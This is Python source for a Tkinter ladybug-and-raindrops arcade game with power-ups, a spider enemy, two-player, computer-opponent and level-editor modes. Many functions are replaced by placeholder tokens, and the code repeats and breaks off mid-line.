data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\n<function token>\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\n<function token>\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\n<function token>\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\n<function token>\n<function token>\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\n<function token>\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\n<function token>\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\n<function token>\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\n<function token>\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n 